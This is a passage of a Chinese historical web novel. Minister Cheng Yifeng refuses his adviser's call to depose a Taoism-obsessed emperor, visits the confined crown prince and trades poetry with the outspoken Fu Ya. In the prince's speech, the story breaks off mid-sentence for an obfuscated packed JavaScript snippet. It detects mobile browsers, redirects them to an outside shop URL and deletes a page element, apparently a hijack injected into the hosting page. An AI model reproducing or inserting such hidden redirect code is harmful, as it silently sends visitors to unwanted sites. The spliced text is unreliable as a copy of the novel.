公孙天成知道他心里想的是什么:“大人不说出口,难道就可以不用面对么?老朽可以告诉大人,那个喜欢修道的人就是当今皇帝,‘玄牝之门’就是他的闲章!” “你胡说!”程亦风叫道,“皇上根本就不理朝政,他龙体欠安,连话也说不清楚,怎么会发这样的圣旨?再说,皇上又几时喜欢修道了?先生从何得知?证据何在?” 公孙天成显然认为有些事情不便解释,也不愿解释:“大人请相信老朽。如今大人最好的选择是继续以你代太子亲征的身份全权指挥大青河沿线的部队,尽快和樾国签署和约。有这些人马做保障,凉城那边也不能把大人怎样。再说,大人赢得了大青河战役的胜利,在军中威望甚高,倘若凉城那边真的要治大人抗旨之罪,大人正好可以起兵,拥戴太子登基。” 程亦风怎么也没有像到公孙天成竟然会提出这样的建议,惊的连退数步,直到狠狠地撞在了桌角上,才反应过来:“你……你怎么可以说出这种大逆不道的话来?” “为人臣者杀其主,的确是大逆。但是是否‘不道’就要看‘道’是什么了——”公孙天成静静的,“夫道,无为无形,内以修身,外以治人。《文子》曰:‘天子有道则天下服,长有社稷,公侯有道则人民和睦,不失其国,士庶有道则全其身,保其亲,强大有道,不战而克,小弱有道,不争而得,举事有道,功成得福,君臣有道则忠惠,父子有道则慈孝,士庶有道则相爱,故有道则知,无道则苛。’由此看,若大人弑君乃无道,当今皇上昏庸至此,难道不也是‘无道’吗?天子无道,则国家灭亡!大人要眼睁睁看着国家灭亡么?” “你不要说了!”程亦风拍案——不错,元酆帝的确骄奢淫逸昏庸不堪,但是弑杀皇帝、拥立太子,史书上他会留下怎样的声名?不,他在乎的也不仅仅是“声名”,而是这件事情无论如何不能这样做——就算推翻了元酆帝让竣熙登基能够有一个新的希望,但是连“君臣父子”的纲常都打乱了,还能风调雨顺、国泰民安么?到时候说竣熙以仁爱治国、以孝义治国,岂不笑掉天下人的大牙?天子为万民之表率,百姓都来效法弑父篡位的竣熙,则伦理何存?做事是不能不择手段的!何况,公孙天成也没有证据说发出这封圣旨命令“不战不和”的就是元酆帝。“别说现在还不知道凉城有没有变故,又出了什么变故。”他打着颤,但是斩钉截铁道,“即便皇上真的被奸人蒙蔽,做出有损社稷的决策,我程某人也决不能以此为名拥兵叛乱!” “现在不是要大人拥兵叛乱,是要大人救国家于危难,救百姓于水深火热!”公孙天成道,“大人不是素来以百姓之忧为忧,以百姓之乐为乐么?大人不是有志革新变法么?昏君当道,大人如何施行新政?老朽当初投效大人,也是为了……” “程某当初公请先生出山,也是希望得先生指点扶助,报效朝廷。”程亦风激动地打断,“如果早知先生是……”他一时也找不出什么合适的词来形容公孙天成,有或者知道那字眼,却碍着宾主一场,不忍说出口,憋了半晌,愤愤地重新开始收拾自己的东西:“无论先生说什么,我必要回凉城去。先生是愿意同行还是留在这里,随……”才想说“随便”,但是又想,以公孙天成如此本领,操纵司马非自是绰绰有余,如果留在平崖,不知将来会发生什么事。因而改口道:“总算程某和先生相交一场,先生方才那一番话,程某就只当你没有说过。但是从今以后,恐怕你我道不同不相为谋,楚军之中也容不下先生。请先生就此离去吧,大青河之战算是程某欠先生的一个人情,他日先生有求于程某,只要是程某能办到的,一定赴汤蹈火在所不辞。” 公孙天成微皱着眉头:这就是说他们宾主缘尽于此了?“大人……” “我会让人也给先生准备车马。”程亦风道,“稍侯你我一起出发,行到下一个驿站就分道扬镳吧。” 这是把自己看成了瘟疫一般,要远远地送走?公孙天成的眼中又流露出那种复杂的神色。不过什么也没有说,默默地向程亦风拱了拱手,转身出门。 一切就按照程亦风所安排的做了。离开平崖四十里后,他和公孙天成分别,只让赶车的小莫陪同,日夜兼程南下凉城。 樾往南走,天气就越暖和,鸟语花香,春意盎然。可是程亦风既焦虑又痛心:他实在没有想到自己和公孙天成的一场宾主竟如此结束——自己视为良师益友的人,最后要像送瘟神一般地送走。不过是为了社稷着想,他坐在颠簸的车里,知道前面是一条更坎坷的道路——还是辞官吧?不如就在途中转个弯儿,随便躲到哪个山里隐姓埋名过完下半生…… 几次有这样的冲动,但眼前就浮现起公孙天成的面容,老先生用一种近乎蔑视的眼神望着他,仿佛说:你讲了那么多漂亮话,说我的手段大逆不道,而你就是这样忠君爱民的吗? 他心里便是一阵惭愧:大青河的胜利不是自己用双手打出来的,怎么也不能让自己袖手毁掉。要辞官、要归隐,都等到将和战之事解决了再说。 就这样一而再再二三地动摇、压抑,终于看到凉城北郊的凤竹山了。小莫计算行程,这天天黑之时大概能够回到城里。程亦风受够了了奔波也受够了了煎熬,遂命他快马加鞭,越早回到京中越好。年轻人领命,驱车在官道上疾驰。 不过还没有行得多远,忽然看到路中央矗立着一樽硕大的香炉,一队士兵守卫在旁,拦住了去路。小莫不得不吆喝停了牲口。程亦风亲自下车去问究竟。 “原来是程大人!”那些士兵都是禁军服色,“我等奉了圣旨在此处保护太子殿下养病。” “殿下病了?”难怪那圣旨上没有“同道堂”印章,程亦风想。“几时的事?现在病情如何?”想了想,又有些奇怪地问道,“殿下在凤竹山温泉行宫疗养,何至于把官道也封锁了?岂不给来往商旅带来诸多不便么……”说时,忽然想起自己一路来,根本不见其他行人,看来官道封闭已久,旁人都已经绕行了。 “殿下三月初就到凤竹山来养病了。”那禁军军官回答道,“现在如何,卑职等并不知道。封锁官道也是圣上的旨意,为的是避免闲人骚扰。” “我听说行宫在深山里,从这儿走上去还要大半个时辰。”小莫奇道,“路上过几辆车,走几个人也能打扰到?大人,您看会不会……” 程亦风也觉得蹊跷。尤其,路当中为什么要放一樽香炉?不过他还不及开口问,那边已经走过来一个神色倨傲的太监:“人有病,都是因为阴阳不调。天地万物都有阴阳,来往的行人牲畜也是如此。让他们在这里来来回回,岂不是破坏了凤竹山的阴阳之道?那样太子又怎么能好呢?” 这个太监看来面生,并不是东宫的人。不过他却认得程亦风:“程大人奉旨回京了么?不过不好意思,就连您也得绕道走。” 程亦风不通医术,不过也知道虽然大夫们把患病的机理归结为阴阳失调,可是说行人能破坏天地之阴阳从而影响人病情,这简直就是无稽之谈——只有江湖术士才会作此言论!他想起了圣旨上那“玄牝之门”,想起公孙天成所说的“修道之人”,心里不禁“咯噔”一下。 “啊呀,程大人!”又有一个太监跑了过来。这个程亦风认得,正是太子的近身,姓刘。他五十多岁,胖胖的,小跑了几步,就满头大汗:“程大人回来了?那可太好了!太子殿下每天都念叨着您。他知道您在大青河打了胜仗,等不及想听您讲战场的经过呢。请您这就跟奴才去见殿下吧!”说着,飞快地向程亦风使了个眼色,又推推跟前的士兵,叫他们让路。 “刘公公,你这是什么意思?”先前那个傲慢的太监道,“三清天师说太子的病要想痊愈,不能让任何闲杂人等打扰。皇上的圣旨也是这样说的。你胆敢自作主张?” “张公公说哪里话?”刘太监道,“第一,我没有自作主张,我是奉了太子之命,来看看程大人到了没有,到了就请他到行宫里一聚。第二,圣旨说闲杂人等不得打扰,程大人却不是闲杂人等。太子殿下把他当成自己的老师看待,他又是代太子亲征的兵部尚书。如此尊贵之人都‘闲杂’,那你我二人算什么?还不得赶快从这里滚蛋么?第三,三清天师长久也没有来看过太子殿下了,怎么知道他的病没有痊愈呢?就算他在宫里能够掐指一算,莫非张公公你也能通灵,不需要他派人来告诉你,你就知道他的意思么?” 这一席话直把那傲慢的张太监说得目瞪口呆。程亦风则从其中嗅出了事情的严重:竣熙果然是出事了,但并不是生病,而是被“三清天师”陷害,困在此地。他一定要想办法营救才是!趁着张太监和禁军士兵都发愣,他快步跨过了封锁线:“刘公公,太子在哪里?快带我去见他!” 没有人敢冒然行事,只眼睁睁地看着程亦风和刘太监往行宫走。路上,刘太监就把这两个月来发生的事告诉了程亦风。 原来程亦风奔赴前线不久,丽贵妃就向元酆帝引荐了一个叫胡喆的道士。此人能卜算,会炼丹。元酆帝跟着他修行了十多天,立刻精神爽利,好像年轻了二十岁。元酆帝因而大喜,封了胡喆为“三清天师”,在宫中为了他辟了一处修道之地,专门替自己炼仙丹。起初也有人劝谏,认为丹药多是有毒之物。不过元酆帝身体看来竟愈来愈好,甚至亲自临朝听政,反对炼丹的声音就渐渐弱了下去。三月初的时候,元酆帝以子嗣单薄为由,提出南下选秀。不过因为大青河还在打仗,百官纷纷反对,值得暂时将此计划搁置。元酆帝很是扫兴,胡喆就趁此机会向他进献了“仙方”,名曰“红铅”,取处女经血拌和药粉焙炼而成,形如辰砂,说是能长命百岁,更有助于房中采补,乃是仙丹中的上品。元酆帝为了炼红铅,叫太医给宫女们开催经下血的药,于是许多宫女死于血崩。这其中也包括竣熙身边几位他像姐姐一样看待的大宫女。 “那天胡道士又到东宫来找人协助炼丹,”刘太监道,“挑了太子殿下最亲近的宫女榴花。榴花是个节烈的姑娘,抵死不从,最后一头碰了柱子。太子殿下伤心得不得了。结果胡道士反而说榴花弄污糟了他修道的清净地,需要再找十二个童女来做法事。太子咽不下这口气,提剑闯进了胡道士的三清殿,说要把这个妖道杀了,替天下除害。结果那妖道本领了的,太子杀不了他,反而被他说中了邪。皇上对胡道士言听计从,就把太子殿下送到凤竹山来养病啦。” 程亦风本来脚步已经很急,这时心跳也急了起来:这些和公孙天成所料的完全一样啊! “太子殿下现在除了和皇后身边的人见面之外,几乎与世隔绝。”刘太监道,“不过,皇后那边的符小姐常常把宫里的消息带给太子殿下。殿下知道大人在大青河虽然打了胜仗,却被要求不战不和,他吃不下也睡不着。估计大人这几天就会回京,他便派奴才日日下山来,希望撞上您,请您帮他想想办法。” 办法?程亦风哪里有什么办法?他唯一能想到的,就是回去跪在元酆帝面前,痛陈厉害——古往今来,多少沉迷丹术的人丧了性命?多少听信妖言的帝王失了天下?不过,元酆帝会听他的么?连太子都被软禁了!公孙天成说的没错,他从平崖赶回京城,却什么也做不了! 没有其他选择了。圣人言,知其不可为而为之。如今已经走到了这里,只能继续走一步算一步。他想,也许应该先劝太子忍下一时之气,回到了宫里才从长计议。 这样一想,就搜肠刮肚地寻找古圣先贤的话语,边走边打腹稿,看到绿树丛中露出行宫的飞檐时,总算拼拼凑凑得着了一篇。然而却又见到另一个太监慌慌张张地从道上跑来:“刘公公,大事不好了!太子殿下又激动起来,说要自己闯回宫去杀死三清天师。他拿自己的性命相威胁,我们也不敢硬拦他。上面已经乱成一团了!” “什么?”程亦风和刘太监都一惊,急忙拔脚超行宫疾奔。不时到了近前,果然见到太监宫女各个惊慌,待来到了竣熙居住的宜兰殿,奴才们跪了一地,口中喃喃,或是“主子三思”或是“主子保重”,混杂在一起,如哭丧一般更叫人心神不宁。 程亦风和刘太监快步朝内走,到了偏殿的台阶前,就望见殿内的竣熙,手里提着宝剑,激动得满面通红:“今天不让我出去,我活着也没有什么意思了!”说时手一抬,那架势竟好像是要吻颈自尽。程亦风好刘太监都惊呼:“殿下——” 他们喊声未停,只见旁边一个宫女快步走了上来:“殿下要去杀胡喆,就先杀了我吧。” 竣熙一愣:“胡道士是什么人,残害无辜,你要替他死?你还懂不懂是非?” “是非这东西太玄,我不懂。”那宫女道,“不过殿下无论杀不杀得了胡道士,皇上都会震怒,到时候殿下您自己最多不过再被安上个‘中邪’的名头,幽禁到哪里的行宫去,只要活着,总有东山再起的时候,但您身边的这些太监宫女统统都要没命。而我,今天给您带来了这个消息,是罪魁祸首,肯定也没有活路。与其那时候被人折磨,不如现在殿下一剑刺死我,倒来得痛快干净。” “你……”竣熙瞪着他,胸口剧烈地起伏着,半晌,仿佛泄了气似的,将手一松,宝剑落地:“是……我不能连累大家……可是……国家如此,要怎么办?怎么办?” 趁他叨念“怎么办”的时候,那宫女迅速地一脚将剑踢开了:“怎么办——也不是一拍脑袋就知道的。殿下要坐下来好好儿想,胡道士越是要气您,您就越是要好好儿地过,您心平气和了,还反过来把他气死呢!” 竣熙听了这话,忍不住笑了起来。刘太监见缝插针:“符小姐说的是,殿下千万要保重身体——您看,程大人来了。有程大人在,还怕想不出对付胡天师的法子?” “咦,程大人!”竣熙这才看到程亦风了,惊喜地迎了上来。程亦风看两个多月不见,少年又拔高了一截,之前才到自己肩下,如今几乎一般高了。只不过幽居凤竹山他瘦削了不少,那少年老成大样子叫人心疼。而竣熙旁边那个大胆的宫女——听刘太监称她为符小姐,看来还不是普通宫女了? 疑问方起,竣熙已介绍道:“这位是符姐姐。她父亲原是礼部侍郎,专司藩务,出使各国,游历天下。符姐姐过去一直跟在符侍郎的身边,连红毛绿眼的人也见过,能过好几国藩话。符侍郎三个月前不幸在西瑶染病去世了,符姐姐这才回到京里。母后看她也是孤零零的一个人,便招她进宫来作伴。宫里的人都喜欢听她讲讲外头的稀奇事儿——程大人你是读了万卷书,符姐姐却是行了万里路,有你们俩个帮我……我不怕那胡道士!” 原来是礼部侍郎家的千金。能够游历神州,这样的女子可不多见。程亦风略略打量了符小姐一眼,见她样貌并不十分美丽,不过还算周正,鹅蛋脸上分明的眉眼,悬胆鼻,薄嘴唇,只是额头太宽阔了——以程亦风早年流连秦楼楚馆的经验来说,一般的姑娘生得如此缺陷,要剪一排刘海来遮盖,可符小姐却毫不在乎,反而觉得那是自己的特点似的,还要加以发扬,把头发光溜溜地梳向脑后,挽了一个简单的髻,木簪别住,其他不见半点修饰——楚国宣宗以来崇尚华丽,到了元酆帝时,更加奢靡,贵族女子无不打扮得花团锦簇,偏偏这符小姐……难怪程亦风要把她误会成宫女了。不过这符小姐虽然容貌平常又不事装扮,却有一种他人所没有的光彩,程亦风看来舒服得紧,正像看着他熟悉的那些书卷一样…… 不觉目光停留得稍稍久了些。符小姐转头头来看他。他一愕,连忙低声嘟囔了一句,扭过头去。 符小姐倒并不放在心上,落落大方地对竣熙道:“殿下说笑了,符雅怎么敢和程大人相提并论。程大人能面对樾人大军面不改色,从容应变,符雅若见了那阵仗,恐怕早已回家准备香案,好向樾军投降了。” “符姐姐别说笑了!”竣熙道,“姐姐这样胆大的一个人,怎么会投降呢?” 符雅洒脱地一笑,毫不造作:“既然打不赢,又跑不了,只好投降啦,难道学人家不成功就成仁,引刀自裁么?莫非死了之后还真能变了厉鬼来报仇?当然是投降留下性命,再做其他打算啦。” 程亦风听着,心中不禁一动:这符小姐说话倒是实在。恐怕朝中大多数人在打不赢也走不了的时候也会投降的——且不论他们投降之后还会不会再起义复国——但他们是绝不会把“投降”这两个字说出来的,要不就说“奋勇抵抗”,要不就讲“宁死不屈”,像程亦风这样以逃跑而著称的将领都会遭人诟病呢!程亦风扪心自问:我会不会投降?有没有勇气面对身后的评说? 正想着,符雅向他道:“程大人十六年前在凉城摆空城计,当时符雅正随先父在东海岛国蓬莱游历,到回来的时候距离那一战已经有三年,但听人们讲起来,精彩依然。符雅可真看看大人的怎样一个人物。可惜,当时大人已经去安德做知县了,而符雅又随先父到了南海婆罗门国,之后一直漂泊在外,直到三年前才算是重新踏上了中洲的土地,不过是住在西瑶。去年听到落雁谷之战,大人能从凶残的樾军手中逃得性命,实在厉害。今日,符雅终于能一睹大人的风采了。” 自从十六年前在楼头遇到那个女子,程亦风再没涉足风月之地,多年来他不曾被年轻女子这样称赞过,不觉浑身不自在,两颊发烧。 符雅却还没有说完,接着道:“大人新近在大青河又挫败了樾人的阴谋,符雅单听到了结果,却不知道经过究竟如何……” 程亦风暗想:坏了,她要是叫我从头到尾说一遍,这还不到天亮? 不料符雅话锋一转,道:“其实知不知道经过都无所谓,因为就符雅的浅见,程大人属于平日里能不动就不动,能不计划就不计划,但临到眼前,总有办法化解。你的高明就在千钧一发的瞬间,就像婆罗门国的法师变戏法一样,绝对让人猜不中。所以,就算知道大青河之战的经过,也无法就此推测下一场战役大人会怎么行动。大人,符雅说的还勉强对吧?” “这……”程亦风低着头,“符小姐太抬举程某了。”其实她的归结,说白了,应该是:程亦风平时懒得要命,死到临头的时候,为了保命,什么招术也能使上,包括常人不屑用的——敌人当然也就猜不着。 “符姐姐这次可猜错了呢!”竣熙插嘴道,“程大人在樾人还没开始调动兵马的时候就调遣了大军驻守在平崖城,然后又一早料到樾军在石坪设了虚防,就派民兵队伍攻过大青河去,占领了石坪城——可见这次程大人对待大青河是运筹帷幄,并不是等人打到头上才一拍脑袋有了对策。” “哦?”符雅抚弄着自己的手指,仿佛认真思考的样子,“那就算是符雅自作聪明。莫非这是程大人另一个叫人难以捉摸的神奇之处?” 程亦风觉得无地自容——有了符小姐先前的那篇议论,这句赞扬的话叫人如有芒刺在背——公孙天成的功劳被这位小姐一眼看穿!他哂然一笑,道:“其实……” 只说出了这两字,就被竣熙的叹息打断了:“可惜……程大人打了这样一场漂亮仗,却被胡喆这个妖道——程大人还不知道吧?父王现在笃信黄老之术,成天把‘清静无为’挂在嘴边。所以才下了‘不北伐,不议和’的命令。现在父王虽然亲自处理朝政,但是所有奏折都批‘知道了’,没有意见,没有决策。每天大部分时间都跟胡喆修炼先天罡气。他今天又说要召集天下仙人道长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728602|189571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一齐来开一个斗法大会……” “您又说上了!”符雅打断,“早知道我就不把这消息告诉您,害得刚才大家提心吊胆。偏偏您又拜托过我,我不能撒谎。这差事如此为难,我看我做不下去了。明天就跟皇后娘娘请辞,回老家去。” 这口气倒像自己,程亦风看看符雅,但她的神气说明,她是在开玩笑。 竣熙道:“符姐姐放心,我不会胡来的。但这‘斗法大会’的事始终得解决——要是真的让父王这么做,他老人家就要成为天下的笑柄了!何况大青河前线还悬在哪里——如果让樾人知道我楚国皇帝醉心炼丹修道,宠信江湖术士,他们肯定会乘机……” “不是有程大人在这里么?”符雅道,“程大人连樾军的千军万马且不怕,区区斗法大会,如何能难得了他?” “啊,这……”程亦风心里直叫糟糕:没有公孙天成,他算什么?“程某奉旨回京,稍侯自然要去觐见圣上。届时一定……一定冒死痛陈厉害……” 自己都觉得自己的这个“计策”纯属敷衍。竣熙单纯或许不会注意,而符雅聪敏,一定会发觉。程亦风感到有目光定在自己的脸上,不觉一阵发烧。 “程大人打算今天赶回面见圣上?”符雅道,“可是从这里到凉城最少也还有走半天,那时候别说宫门已经上锁,恐怕连城门也早就关闭……” “啊呀……”程亦风没想到会在凤竹山遇到这些状况。如此看来,他就算赶回了凉城,依照规矩,面圣之前也不能回家,岂不是得在宫门外等候一夜?那倒不如在城外投店……唉,本来想早一点回京,早一点把大青河的悬案解决,如今看来,就算回去也什么都做不了!他厌恶自己。 “既然赶不及回京,那就在行宫留一晚吧。”竣熙道,“程大人是代我出征,所以先见了我,也不算坏规矩——刘公公,你让人收拾潇湘阁给程大人住——程大人,竹解心虚,是为君子,那里环境清雅,你长途奔波劳累,住在那里没人骚扰,正好可以解乏——那儿离我宜兰馆又近,我正好可以来向你讨教对付妖道的计策。” “噗嗤”,符雅笑了起来:“殿下才说‘没人骚扰’,转头又要去商量计策,费人脑筋——这还不是骚扰么?依我看,磨刀不误砍柴功。您让程大人好好休息一晚,也许明天一早他就有了计策呢!” 竣熙一拍脑门:“你看我!正是。程大人累了,先歇着吧。” 程亦风便在潇湘阁安顿了下来。虽然园中翠竹千竿,但毕竟皇家行宫,不能免俗地种了许多名贵花卉。今年春早,牡丹已开,争奇斗艳,夕阳照耀下,显得分外妖娆。凉城每年到了这个时节,忘忧川边桃花已经开到了极盛,树上灼灼,水中点点,达官贵人结伴春游,花天酒地、醉生梦死……真是游人不管春将老,来往亭前踏落花啊!程亦风轻轻叹了口气。 “大人莫非是发了诗性么?”符雅的声音突然从后面传了过来。只见她笑嘻嘻地,手里还提着一个食盒:“这是太子殿下摆脱我拿来给大人的。他说程大人出征在外这么久,一定想念家乡的点心,请大人每一样都尝尝。” 程亦风哪里有心情,不过还是多谢了符雅,伸手要接那食盒。不了符雅却以闪身,避开了,道:“太子殿下还拜托我,一定要看这大人每一样都吃过了,才能走。求大人你行行好,赶紧照太子的意思做了吧,我还要下山回家呢。” “这么晚了,小姐还要下山回凉城?” “是,我家里许多宝贝,一日不见我就闹心。”符雅道,“所以皇后娘娘特地赐了个通行腰牌给我,无论多晚,都可以进城——不过,半夜三更叫护军开门,他们的脸色一定很差。所以程大人你还是帮帮忙,赶紧把点心吃了,符雅也好去何太子殿下交差。” “许多宝贝?”程亦风虽然心情不好,但也忍不住好奇。 符雅笑了笑:“我当时宝贝,别人却不见得入眼——无非是先父周游列国时所搜集的各方土物以及留下的笔记而已——大人不要叉开话题,快快把这些点心吃了,符雅也好回去陪着我的那些宝贝。” 程亦风无奈地笑了笑,接过食盒来,在一边的石桌上打开了,见里面各色精致小吃,的确是自己怀念的凉城风味。不过,想起乌烟瘴气的宫廷,想起被自己赶走的公孙天成,再好的美食也让人提不起胃口。 仿佛听到鹿鸣山下孩童的歌谣:“一头鹿,一头鹿,你来追,我来逐,刀来斩,锅来煮,煮不熟,砍林木。” 林木被砍了,被丢进炉膛里去了,还浑然不觉——这国,怎能不亡?于是再叹一口气。 “我听过一个故事。”符雅倚在石栏上欣赏着满园的牡丹,“东海蓬莱国里有位书生,屡试不第。这年又没有考中,也没有颜面回乡,就在京城四周游荡。正是三月的时候,他走进一座庙中,看见满园鲜花盛放,叫人心旷神怡。这时,庙里的一个和尚对他道:花开了,并不是为了要凋谢的呀。” 程亦风一怔:花开了,并不是为了要凋谢!这句话可真是禅机无限!禁不住惊讶地望了符雅一眼。 这位游历天下的奇女子轻轻一笑:“哎,程大人别看我。这故事真是我从蓬莱国听来的。” 可她分明是在鼓励自己!程亦风玩味着那句话,不错,花开了,并是不是为了要凋谢。一次将樾寇拒之门外,并不为了下一次让他们打进国门来。他,还有臧天任,还有许多真正心怀百姓的官员,辛苦收拾内政,不是为了让胡喆这样的妖道来糟蹋的!既然连横扫北方的樾军都能挫败,还怕一个装神弄鬼的道士?总有解决之法! 的满心的阴霾开始消散,他向符雅拱手称谢:“多谢小姐开导。” “我随口说说,借花献佛罢了。”符雅笑道,“也其实是说者无心,听者有意。若是程大人自己不是早存着那个心意,我就讲一千个一万个故事,你也不会朝那儿想,难道不是么?” 程亦风呆了呆:这话……也有道理…… 符雅道:“古人说‘仁者见仁,智者见智’,可不就是这个理儿?就不知程大人是仁者,还是智者?” “我?”程亦风呵呵一笑,“可不就是小姐所说,平日里懒散无比,死到临头时总有法子逃出生天的人么?小姐说这是仁者还智者呢?” 符雅愣了愣,大概是没想到一直皱着眉头颓靡不堪好像没睡醒的迂腐书呆子程亦风突然同自己开起了玩笑来,片刻才答道:“一千个人眼里有一千个西施。符雅眼中的仁者,在别人看来可能就是个懒虫,符雅眼中的智者,在别人看来也许就是缩头乌龟胆小鬼。大人只要自己清楚自己是什么人就好了,何必在乎符雅怎么看?” 程亦风差点儿就要拍案叫绝。这符小姐行事与众不同,说话也处处透着机智,非一般人所能及,就算是辩士或许也非她敌手。不过,看她这样从容随和的模样,大概根本不屑与人辩论吧。 “小姐大才,程某佩服。” “呵,”符雅笑着,“大人能看出来符雅有才?哎呀,人说大智若愚,是聪明人看起来很笨。符雅如今被大人看出有才,岂不是大愚若智?” “这……”程亦风知她是开玩笑,但还是忍不住先仔细玩味了一下这玩笑背后的智慧,才呵呵笑了起来,道:“莫非符小姐想恭维程某?我生就一副倒霉穷酸样,所以别人以为这就是大智若愚之相,敌人未同我交上手,先忌惮了三分?” 符雅将两手叉起来又分开,复又叉起来:“这个,别人的心思符雅可没有本事猜测,而且符雅是个懒人,不想花那功夫。有时与其花时间揣度别人的心思,然后照样儿去应对,倒不如自己率性做了,让别人来应付自己呢——程大人,这是不是也是你的制胜法宝?” “程某哪里有制胜法宝?”程亦风苦笑道,“更加就说不上率性了。我大约是天下最迂腐的那一种读书人——就拿方才劝服太子的事来说吧,程某也是半路上听到了消息,所以准备了满篇‘小不忍则乱大谋’的八股文章,打算来说给太子听呢。” “果真?”符雅一边将点心拿出来给程亦风一边笑道,“可惜符雅一时冲动,把太子的火给浇熄了,要不然倒可领教领教程大人的本事呢。” “小姐这是挖苦程某吧?”程亦风道,“我那满篇仁义道德的,太子怎能听得进去?我是四体不勤的书生,见人拿了剑在我面前晃悠,我肯定吓得把什么‘圣人言’都忘光了。” 符雅道:“我知道呀——就是要大人把腹稿都忘了,才看出大人应变的本领嘛。” “这……”跟符小姐说话,自己是永远占不了上风的,程亦风想,做什么要占上风呢?难得遇到一个能交谈的对象,欣赏就好。 符雅递了点心有斟茶,还有功夫侧身欣赏牡丹花:“世人都道紫牡丹稀奇,其实我看白牡丹更漂亮些——怪道古人诗里要说‘别有玉盘乘露冷,无人起就月中看’了!” “呵呵,爱白牡丹的也不少。”程亦风道,“乐天不是有诗云‘众嫌我独赏,移植在中庭’么?看来小姐跟香山居士属同好。” “香山居士是风雅人,我附庸风雅罢了。”符雅笑道,“却不知古来的牡丹诗,程大人喜欢哪一首?” 程亦风并不爱牡丹,觉得太过俗艳,连带牡丹诗也显得俗艳,能够让他信守拈来的,唯“浪笑榴花不及春,先期零落更愁人”一句,但只恐太过忧伤,让符雅又以为自己情绪低落。“牡丹……牡丹……”他喃喃地,“仙人琪树白无色,王母桃花小不香……绿艳闲且静,红衣浅复深……月光裁不得,苏合点难胜……小姐别难为程某了,实在没有读过许多。” “大人不要自谦。”符雅道,“你是探花出身,凉城有名的风流才子,怎么会没读过呢?我就喜欢‘裁分楚女朝云片,剪破姮娥夜月光’这一句,不提花字,却又把白牡丹的姿态写得跃然纸上。” “要说这一类的,却也不少。”程亦风道,“闺中莫妒新妆妇,陌上须惭傅粉郎。昨夜月明浑似水,入门唯觉一庭香——这不也是半个花字也没提吗?不过,比之小姐欣赏的那一句,这首更俏皮些。” “说到俏皮,我也晓得一首。”符雅站起身,“水南名品几时栽?映池台,待谁开?应为诗人着意巧安排。调护正须宫样锦,遮丽日,障飞埃。晓风吹绽瑞云堆。怨春回,要诗催。醉墨淋漓,随手洒琼瑰。归去不妨簪一朵,人也道,看花来。”吟道末尾的时候,她真的探手摘下一朵花来,随性在衣襟上一插,为她那朴素的妆扮平添了几分俏丽。 程亦风不由一时看傻了,心里倒真还有了作诗的冲动,不过却不是牡丹诗,一句“诗中得意应千首,海内知音能几人”忽然就冒上了心间,该立刻去拿了执笔誊录下来,省得一会忘记。 而这样想着的时候,才发现天已经悄悄黑了。太监来给他掌灯。他才也忽然意识到自己和一个初次见面的女子促膝长谈了许久,心里不由“啊”地一下:男女授受不亲,何况人家还是官家千金。太监和宫女们倘若没有口德,那符小姐的名节岂不是……糟糕!糟糕!他慌忙站起身来,却不想踩着小石子,一个趔趄几乎摔倒,幸亏符雅在旁边扶住。程亦风没的更加不好意思了,脖子都发起烧来。 符雅看到他那如临大敌的样子,噗嗤一笑:“程大人不必为符雅的名节担忧。方才太子不是金口说了,符雅随父行了万里路么?常言道,读万卷书不如行万里路,又说女子无才便是德。我如今是天下最缺德的女人之一,还在乎别人议论我跟大人赏花论文么?” 你不在乎,那我呢……程亦风暗想这位小姐行事实在古怪,可忽然又觉得自己如此顾忌实在虚伪得紧——朝中这些大臣,谁不知道程亦风早年是歌馆舞榭的常客呢?听说现在有些妓院的老鸨还用他程亦风的大名来招徕客人呢。 符雅动手收拾食盒——两人谈话之时,程亦风已经不知不觉把点心都吃完了。“终于可以跟太子交差,然后回家陪我的宝贝们去了。”符雅笑着跟程亦风道别,有好像忽然想起什么似的:“对了,符雅也许还称不上是天下最缺的的女人的,应该还有一个比符雅更缺德的。” “哦?”程亦风不知她有何高见。 “这个女人程大人也认得。”符雅道,“就是大人的对手惊雷大将军玉旒云——她一定把兵书看了不少,又东征西讨的行了不少路,恐怕这缺德的程度比起符雅有过之而无不及。” 这次程亦风可真是开怀大笑起来:玉旒云几乎参加了樾军见他北方的每一次战役,恐怕骂她的人不在少数,但以这样的理由说她缺德的,符雅应当是天下间独一无二的了。玉旒云若听到,不知会作何感想? “大人心情好,我也好交差——”符雅道,“不打扰大人了,月色下欣赏牡丹花,也是一桩美事呢!”她福了福,在太监灯笼的引领下离去了。 程亦风目送着她,直那背影到消失在月门外,才又转回来看月下的牡丹。 “三月牡丹次第发,静夜初见似月华……”他吟了两句,又觉得不够好,还是方才那“诗中得意应千首,海内知音能几人”洒脱些。 这就去写下来——花开了,并不是为了要凋谢 22. 第 22 章 程亦风第二天回到了凉城,虽然符雅的话对他是很大的鼓励,不过并没有让他想出什么对策来。因此进宫面圣的时候,心情又低落了下去。别的且不提,他想,先帮竣熙说几句好话才是! 元酆帝在御书房召见他。行了三跪九叩的大礼,听到“平身”之后,才敢瞻仰天威——果然如竣熙所言,元酆帝红光满面,好像年轻了二十岁。 元酆帝呵呵而笑:“程爱卿也觉得朕年轻了二十岁么?人人都这样说呢……不过朕自己觉得是年轻了三十岁。” 三十年前的元酆帝是什么样子,程亦风可不知道。不过打他金榜题名,入朝为官开始,就没有见过这样精神的皇帝。他也不知道要怎样应对天子的玩笑,只好低着头,不作声。 元酆帝笑道:“程大人一介风流才子,怎么如此拘束?来,坐!” 旁边伺候上椅子来,程亦风谢恩,规规矩矩地只敢挨着边沿儿坐一点点,几乎就是蹲着马步的,这种场合实在是一种折磨。最好赶快切入正题。他便又站起了身:“万岁,臣……” 才说了三个字,元酆帝就示意他打住,朝身边的宦官打了个手势。那人展开一卷圣旨来,读道:“奉天承运,皇帝诏曰:兵部尚书程亦风,忠心为国,用兵如神……击溃蛮夷匪兵,保我天朝尊严……是为满朝文武之表率……今加靖武殿大学士职,封太子太保,以示嘉许。钦此。” 